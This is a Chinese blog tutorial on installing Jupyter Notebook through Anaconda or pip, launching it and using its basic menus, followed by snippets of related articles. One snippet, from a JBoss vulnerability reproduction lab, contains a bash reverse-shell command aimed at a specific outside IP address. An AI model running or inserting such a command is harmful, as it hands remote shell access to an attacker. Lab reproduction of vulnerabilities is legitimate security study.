Jupyter的使用分享

文章目录

    • 碎碎念
    • 安装
      • 方法1.安装Anaconda
      • 方法2.通过库的安装方式
    • 启动
    • 使用教程
      • 1.指定目录打开
      • 2.启动后的简单使用
    • 小结

碎碎念

前情提示
之前与许多小伙伴交流的时候,发现大家对于pycharm更容易上手(可能是比较好设置中文的原因),在使用Jupyter的时候却晕乎乎的,所以打算简单写一篇小文章来分享一下自己使用的经验。

在这里插入图片描述

安装

先来看看官方的说法:

Jupyter Notebook是基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果。

简单来说呢,Jupyter Notebook是在浏览器上会打开一个网页,这个网页里我们可以新建一个ipynb格式的文件,之后使用这个文件来编写、运行我们的代码,同时还可以记笔记(代码框的上下文)来完善我们的心路历程,这些后续会讲解

安装方式呢,有以下两种:

方法1.安装Anaconda

史上最全最详细的Anaconda安装教程
Anaconda安装好以后,里面就自带了Jupyter了,点击Anaconda Navigator打开管理界面
在这里插入图片描述
在这里插入图片描述

方法2.通过库的安装方式

pip install jupyter notebook

在这里插入图片描述

启动

在方法1的基础上,点击launch即可

在方法2的基础上,已安装jupyter的情况下,敲入命令

jupyter notebook

在这里插入图片描述
成功启动后,出现如下页面
在这里插入图片描述
此时,也会自动在浏览器上打开一个属于jupyter notebook 的页面
在这里插入图片描述

使用教程

1.指定目录打开

一般呢,我们不太喜欢jupyter默认打开文件夹的地方,其实这个是可以指定的
设置指定文件夹打开的方式呢,我就不叙述了,可按照如下文章来操作
jupyter notebook指定启动目录

2.启动后的简单使用

如下图,是我打开的一个指定文件夹后的页面
在这里插入图片描述
更多使用的是图右边框起部分,左边可自行了解查看
在这里插入图片描述
在右边,New按钮可新建文件,我们一般选择新建ipynb文件,也就是第一个Notebook选项
在这里插入图片描述
新建的默认为Untitled.ipynb文件,默认长如下图的样子
在这里插入图片描述
输入简单测试代码看看能不能正常运行

print('hello')

在这里插入图片描述
File选择无非就是新建、删除、重命名文件等操作
Edit有合并、切割代码块等功能
Run模块也是比较简单,一般就是Run All Cells
Kernel的话,有重启内核的功能,很实用
在这里插入图片描述
对于右边的按钮,lab的功能和notebook差不多,看个人需要
旁边的ipykernel在手动配置后,可切换不同的python环境来跑你的代码,推荐配置文章:
Jupyter 切换不同的虚拟环境
在这里插入图片描述

小结

后续有时间,应该会再更新使用教程,也许吧。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/885288.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL扩展

一、慢查询(慢日志) 默认关闭的 定位慢SQL 简单:show profile,启用时会对服务器的性能产生额外的负担 -- 启用性能监控 mysql> set profiling1;-- 执行SQL mysql> SELECT * from member-- 性能分析 mysql> show p…

基于卷积神经网络的体育运动项目分类识别系统

温馨提示:文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 随着计算机视觉和深度学习技术的快速发展,利用先进的图像处理技术对体育运动进行智能分类与识别已成为研究热点。传统的运动分析方法通常依赖于人工观察和记录,耗时耗力且容…

AndroidLogger插件使用技巧

它是一个Notepad插件,由于未上架Notepad的插件市场,因此需要独立下载并解压到 Notepad 安装目录下 plugin 里面即可。已更新到 SourceForge,您可以到那里获取最新的包,目前还在持续升级。 https://sourceforge.net/projects/andro…

网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台

PHP、Python、JavaScript、Ruby、Java和.NET各自适用于不同类型的网站平台。以下是对这些编程语言适用场景的具体介绍: PHP Web开发:PHP是一种广泛使用的开源服务器端脚本语言,特别适合Web开发。全球有超过80%的网站使用PHP作为服务器端编程语…

执行力怎么培养?

执行力怎么培养? 并行:适合在初期养成习惯,不抱对结果的期望天才就是强迫症:适合中期修身:适合高级 并行:适合在初期养成习惯,不抱对结果的期望 在你开始做任何事情的时候,不要一开…

游戏找不到xinput1_3.dll的原因及解决方法

1. xinput1_3.dll 基本信息 1.1 文件名 xinput1_3.dll 是一个动态链接库(DLL)文件,它属于 Microsoft DirectX for Windows 的一部分。这个文件主要负责处理与 Xbox 360 控制器和其他兼容 XInput 标准的游戏手柄相关的输入信号,确…

【Python调用ddddocr打包成exe文件指定模型库及注意事项】

ddddocr 打包成 exe 后一直存在各种各样的问题,例如: ddddocr\common.onnx failed. File doesn’t exist 查阅资料后,问题得到解决。但相关资料不多,且不够详细,特写下本文,以便于后来者解决问题。 希望本文…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

CPU大端和小端的判断:【两种方法+源代码】

1:为什么会出现大小端 在计算机系统中,数据是以字节为单位进行存储的。每个地址单元都对应着一个字节,一个字节为8位(bit)。然而,在C语言等编程语言中,除了8位的char类型外,还有16位…

SpringBoot+Activiti7工作流入门实例

目录 文章目录 目录准备Activiti建模工具1、BPMN-js在线设计器1.1 安装1.2 使用说明1.3运行截图2、IDEA安装Activiti Designer插件2.1安装插件2.2 设置编码格式防止中文乱码2.3 截图简单工作流入门实例1. 新建Spring Boot工程2. 引入Activiti相关依赖添加版本属性指定仓库添加依…

C语言扫盲

文章目录 C版本C语言特征GCCprintf数据类型函数指针内存管理void指针 Struct结构和Union结构typedef预处理器make工具cmake工具Projectintegral of sinc functionemulator embedded systeman event schedule 补充在线Linux终端安装Linux参考 建议还是国外教材学习…人家的PPT比…

HBase DDL操作代码汇总(namespace+table CRUD操作)

HBase DDL操作 DDL操作主要是关于命名空间和表格的内容增删改查。 注:如果出现无法连接到zookeeper等的相关错误,可以将以下代码打jar包,在HMaster节点上执行 错误提示: Exception in thread “main” java.net.SocketTimeoutExc…

sql server每天定时执行sql语句

sql server每天定时执行sql语句 1、打开SQL Server Management Studio 2、鼠标右击【SQL Server 代理】,选择【启动(S)】,如已启动,可以省略此步骤; 3、右键,新建-》作业,在作业上-》新建作业&#xff…

TypeScript是基于LLM上层研发的受益者

TypeScript优在哪里 TypeScript是一种由微软开发的开源编程语言,它是JavaScript的一个超集,添加了类型系统和一些其他特性。TypeScript的优势在于: 静态类型检查:TypeScript的最大卖点是它的静态类型系统。这允许开发者在编写代码…

Pytest自动化测试执行环境切换的2种解决方案

一、痛点分析 在实际企业的项目中,自动化测试的代码往往需要在不同的环境中进行切换,比如多套测试环境、预上线环境、UAT环境、线上环境等等,并且在DevOps理念中,往往自动化都会与Jenkins进行CI/CD,不论是定时执行策略…

ELK-03-skywalking监控linux系统

文章目录 前言一、下载node_exporter二、启动node_exporter三、下载OpenTelemetry Collector四、启动OpenTelemetry Collector4.1 将配置文件下载到同级目录4.2 启动 五、查看总结 前言 skywalking安装完成后,开始我们的第一个监控-监控linux系统。 参考官方文档&a…

AI知识库如何重塑电商行业的产品推荐系统

在数字化浪潮的推动下,电子商务行业正经历着前所未有的变革。其中,产品推荐系统作为连接消费者与商品的桥梁,其智能化与个性化水平直接影响着用户体验、转化率乃至整个平台的竞争力。随着人工智能(AI)技术的飞速发展&a…

灵当CRM index.php接口SQL注入漏洞复现 [附POC]

文章目录 灵当CRM index.php接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 灵当CRM index.php接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明:请勿利用文章内的相关技…

Oracle Data Guard备库清理归档脚本

1 说明 我们知道在Oracle Data Guard架构中归档模式是必须打开的,主库将日志传输到备库,最终存放到备库的归档日志文件中。随着系统的运行,归档日志文件会不断累积,如果不及时清理,则会造成归档空间被写满&#xff0c…

java项目之社区智慧养老监护管理平台设计与实现源码(springboot)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的社区智慧养老监护管理平台设计与实现。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 社区…